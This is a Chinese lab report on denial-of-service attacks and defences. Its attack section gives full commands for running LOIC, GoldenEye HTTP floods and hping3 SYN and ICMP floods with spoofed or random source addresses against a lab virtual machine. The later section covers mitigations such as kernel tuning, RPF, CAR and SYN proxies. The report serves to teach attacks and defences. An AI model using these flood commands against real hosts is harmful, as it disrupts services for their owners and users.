《计算机网络安全》实验报告一 现代网络安全挑战 拒绝服务与分布式拒绝服务攻击的演变与防御策略(4)
3.3 攻击实施过程
3.3.1 LOIC攻击
(1)使用ipconfig命令获取NAT网络模式下WinXP虚拟机的IP地址:
ipconfig
(2)使用一下命令进行LOIC的安装:
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install mono-xbuild mono-mcs mono-devel -y
wget https://codeload.github.com/NewEraCracker/LOIC/zip/master
unzip master
cd LOIC-master
./loic-net4.0.sh run
(3)进行Kali与WinXP的连通性检测:
ping 10.0.2.4
(4)进行LOIC的设置
将10.0.2.4设为目标,并执行锁定操作:
选择攻击手段为TCP,并将对应的线程设置为50:
点击发动攻击按钮进行攻击:
对WinXP虚拟机的CPU使用率进行监测:
在Kali虚拟机上使用Wireshark进行数据包的抓包操作:
由上图可知,从10.0.2.6(Kali虚拟机)发送了大量TCP泛洪报文到10.0.2.4(WinXP虚拟机)。
3.3.2 GoldenEye攻击
(1)使用一下命令进行GoldenEye的安装:
git clone https://github.com/jseidl/GoldenEye.git
cd GoldenEye
(2)使用以下命令对WinXP虚拟机发动GoldenEye攻击:
sudo ./goldeneye.py http://10.0.2.4 -s 100
(3)对WinXP虚拟机的CPU使用率进行监测:
(4)在Kali虚拟机上使用Wireshark进行数据包的抓包操作:
(5)使用以下命令对WinXP虚拟机发动随机GoldenEye攻击:
cd GoldenEye
sudo ./goldeneye.py http://10.0.2.4 -s 100 -m random
(6)对WinXP虚拟机的CPU使用率进行监测:
(7)在Kali虚拟机上使用Wireshark进行数据包的抓包操作:
在随机模式下,CPU使用率曲线也展现出快速波动的情况,尤其是WinXP虚拟机的CPU使用率相较于默认模式有显著的上升。
3.3.3 Hping攻击
(1)使用以下命令对WinXP虚拟机发动Hping(SYN)攻击:
sudo hping3 -c 5000 -d 100 -S -w 64 -p 80 --flood --rand-source 10.0.2.4
(2)对WinXP虚拟机的CPU使用率进行监测:
(3)在Kali虚拟机上使用Wireshark进行数据包的抓包操作:
观察到大量来自不同攻击源的TCP SYN泛洪报文,这些报文的目标均为IP地址为10.0.2.4的WinXP受害机,且均针对端口80。
(4)使用以下命令对WinXP虚拟机发动Hping(ICMP)攻击:
sudo hping3 -c 5000 -d 100 -a 2.2.2.2 –icmp –flood 10.0.2.4
(5)对WinXP虚拟机的CPU使用率进行监测:
(6)在Kali虚拟机上使用Wireshark进行数据包的抓包操作:
可以观察到攻击者(IP地址为2.2.2.2)对受害机(WinXP虚拟机,IP地址为10.0.2.4)发起的大量ICMP ping请求报文,这构成了一种请求泛洪现象。
3.3.4 DDOS攻击
(1)进行ftp服务器的搭建:
(2)我们利用风火DDOS攻击检测工具对服务器进行了检查,以确认当前是否受到攻击:
(3)打开攻击软件天网刺客并填写我们自己的IP地址以及端口号:
(4)在使用FTP服务器时,我们利用风火DDOS攻击检测工具进行了安全监测,并发现存在攻击行为,相关情况如图所示:
四、防御策略
4.1 现有防御机制
4.1.1 探讨目前使用的DoS和DDoS防御技术
DOS和DDoS攻击流量通常由恶意攻击者制造,表现为大量的看似正常的请求。因此,完全消除DDoS攻击几乎是不可能的,我们只能采取一系列措施来减轻其影响。
负载均衡技术
负载均衡技术[18]的运用,能够有效增强服务器的处理能力,并提升网络所承载的流量,从而在一定程度上缓解DDoS攻击带来的压力。
在遭遇服务器、网络设备或链路故障时,负载均衡技术也能确保剩余的部分仍能继续为用户提供服务,保障业务的连续性和稳定性。
服务器集群
集群是由一组相互独立的计算机组成,它们通过高速网络相互连接,形成一个统一的整体,并以单一系统的形式进行管理。当客户与集群进行交互时,集群会表现得像一个独立的服务器一样,这种配置旨在增强系统的可用性和可缩放性。
链路冗余
在网络架构中,通过部署冗余链路,并在网络设备上启用STP(生成树协议),可以有效实现链路的高可用性。链路冗余技术作为增强网络稳定性的关键手段,主要涵盖了多种技术手段。
STP
STP,即生成树协议,在网络构建中发挥着至关重要的作用。它能有效地建立树形拓扑结构,从而消除网络中的环路,并通过巧妙的设计实现路径的冗余性。STP的核心原理在于对网络中的接口进行状态划分,将部分接口置于转发状态,而另一部分则置于阻塞状态,以此确保链路中不出现环路。
一旦转发状态的接口或其所在的链路发生故障,STP能够迅速识别并自动调整,将原本阻塞的端口切换至转发状态,从而保持网络的连续性和稳定性。
LACP
LALR(链路汇聚控制协议)旨在实现链路的动态汇聚功能。它通过捆绑多个物理端口为单个逻辑端口,使得出入流量能够在各成员端口间有效分担。交换机依据用户设定的负荷分担策略来确定报文从哪个成员端口发往对端交换机。
若交换机检测到某一成员端口链路故障,将停止该端口上的报文发送,并依据负荷分担策略在剩余链路中重新计算报文发送端口。链路恢复后,会再次重新计算报文发送端口。链路聚合技术在提升带宽、增强链路传输弹性与冗余方面发挥着重要作用。
策略路由
策略路由是一种数据包路由转发机制,其灵活性相较于基于目标网络的路由方式更为显著。在采用策略路由后,路由器会依据特定的路由策略来判断和处理待路由的数据包,这些策略直接决定了数据包将经由哪个下一跳路由器进行转发。通过这种方式,策略路由为数据包转发提供了更为精细和灵活的控制。
服务器内核参数
Windows系统
通过调整Windows注册表中的特定键值,我们可以在一定程度上减轻DDoS攻击的影响。这些键值通常位于HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters 路径下,具体设置可参照下图进行。编辑这些键值有助于优化网络配置,提升系统对DDoS攻击的防御能力。
Linux系统
调整Linux内核参数确实可以在一定程度上缓解针对Linux服务器的DDoS攻击。通过编辑 /proc/sys/net/ipv4 目录下的相关参数,可以优化网络性能和TCP连接管理,进而提升系统对攻击的抵抗能力。以下是对这些参数的简要说明及其建议的调整值:
net.ipv4.tcp_fin_timeout : 此参数控制TCP连接在FIN-WAIT-2状态下等待的时间,以秒为单位。建议值为30秒,可以减少长时间挂起的连接,释放系统资源。
net.ipv4.tcp_keepalive_time : 此参数定义了TCP连接在空闲多久后开始发送keepalive探测包,以秒为单位。建议值为1200秒,有助于及时发现并断开死连接。
net.ipv4.tcp_syncookies : 此参数用于启用TCP同步cookie功能,以应对SYN洪泛攻击。建议设置为1,以启用该功能。
net.ipv4.tcp_tw_reuse 和 net.ipv4.tcp_tw_recycle : 这两个参数用于管理TIMEWAIT状态的TCP连接。 tcp_tw_reuse 允许重用处于TIME-WAIT状态的套接字用于新的连接,而 tcp_tw_recycle 则加速TIME-WAIT连接的回收。建议同时启用这两个功能,以缓解资源耗尽的风险。
net.ipv4.ip_local_port_range : 此参数定义了系统可用的本地端口范围。建议设置为1024到65000,以扩大可用端口范围,减少端口耗尽的风险。
net.ipv4.tcp_max_syn_backlog : 此参数定义了系统处理SYN连接请求的最大队列长度。建议值为8192,以应对大量SYN请求造成的连接拥塞。
net.ipv4.tcp_max_tw_buckets : 此参数定义了系统用于存储TIME-WAIT状态连接的最大桶数。建议值为5000,以避免TIME-WAIT状态连接过多导致的资源耗尽。
net.ipv4.tcp_synack_retries 和 net.ipv4.tcp_syn_retries : 这两个参数分别定义了系统在发送SYN-ACK包和SYN包时的重试次数。建议值均为2,以减少不必要的重试,加速连接建立过程。
HS/Apache
在应用层面加强安全防护,及时为IIS和Apache等Web服务器更新补丁,是有效减少DDoS攻击风险的必要手段。通过实施一系列安全加固措施,我们可以显著提升系统的安全性,降低潜在攻击威胁。
在应用层面,我们应注重用户输入验证、会话管理、权限控制及错误处理等方面的加强,以防范潜在的攻击行为。同时,针对IIS和Apache等Web服务器,我们应定期关注并安装最新的安全补丁,确保服务器免受已知漏洞的侵害。仅仅依赖应用层面的加固和补丁更新是不足以完全抵御DDoS攻击的。我们还需要结合其他安全措施,如防火墙配置、CDN使用等,形成多层防护体系,共同应对DDoS攻击。
综上所述,通过在应用层面进行安全加固,并及时更新IIS、Apache等Web服务器的安全补丁,我们可以有效增强系统的安全性,降低DDoS攻击的风险。但这只是整个安全防护体系的一部分,我们还需要综合考虑其他安全措施,以确保系统的全面安全。
网络设备
启用RPF
路由器在收到数据包时,首要步骤是查阅路由表,核实数据包的源IP地址所对应的路由是否经由接收该数据包的接口进入。
如果路由相符,则数据包会按正常流程转发;若不相符,数据包则会被丢弃。这种反向路由转发的机制在防御恶意伪造源地址和DDoS攻击方面颇具效果,建议管理员加以运用。
启用CAR
CAR(Committed Access Rate),作为Cisco IOS软件QoS功能的一部分,是在v12.0版本中新增的子功能。该功能在IP层实现,专门针对到达IP层的报文进行限速处理。
其主要作用表现在两个方面:一是对端口或子端口的进出流量速率进行上限控制;二是对流量进行分类,并为其划分不同的QoS优先级。
在定义流量的速率时,CAR使用了三种速率定义:
NormalRate(正常速率),代表令牌被添加到令牌桶中的平均速率,即数据包的平均传输速率。
Normal Burst(正常突发),允许在时间间隔内以正常流量速率传输的流量。
Excess Burst(过量突发),当流量超出正常突发时,会借用令牌并将其添加到令牌桶中,以允许一定程度的流量突发。一旦借用的令牌用完,超出限制的流量将被丢弃。这种流量突发只会短暂发生,直到令牌桶中的令牌耗尽为止。
通常情况下正常流量速率应设为一段时间内的平均速率,正常突发速率应设为正常速率的1.5倍,而过量速率则为正常突发速率的2倍。
在路由器上,对ICMP包配置CAR以设置速率上限,有助于保护网络免受DDoS攻击。具体的配置步骤包括定义接口、设置速率限制、定义访问列表等。通过这些配置,可以确保ICMP数据包的流量速率在可控范围内,从而维护网络的稳定性和安全性。
采用源认证进行校验
HTTP协议作为应用层协议,其基础是TCP协议,面对HTTP类的攻击,最为高效的防御策略之一是采用源认证进行校验。华为Anti-DDoS解决方案具备对TCP和HTTP协议的感知能力,并能够通过多层级的源认证和校验机制,对攻击源进行精准识别和防御。
防火墙/IPS
防火墙通常支持一种称为SYN代理的功能。当代理接收到客户端向Web服务器发起的TCP连接请求(SYN报文)时,它会先代替服务器向客户端回复一个正常的SYN ACK报文(窗口值为0)。
如果客户端响应了ACK报文,那么这个TCP连接请求就被视为通过了TCP代理的验证。接着,TCP代理会向服务器发送相同的SYN报文,并通过三次握手与服务器建立TCP连接。在双向代理模式下,客户端与TCP代理、TCP代理与服务器之间会分别建立两个TCP连接。
由于这两个连接使用的序号不同,因此在TCP报文交互过程中,TCP代理在接收到客户端或服务器发送的报文后,需要对报文序号进行修改,然后再转发给另一端,以确保通信的顺畅进行。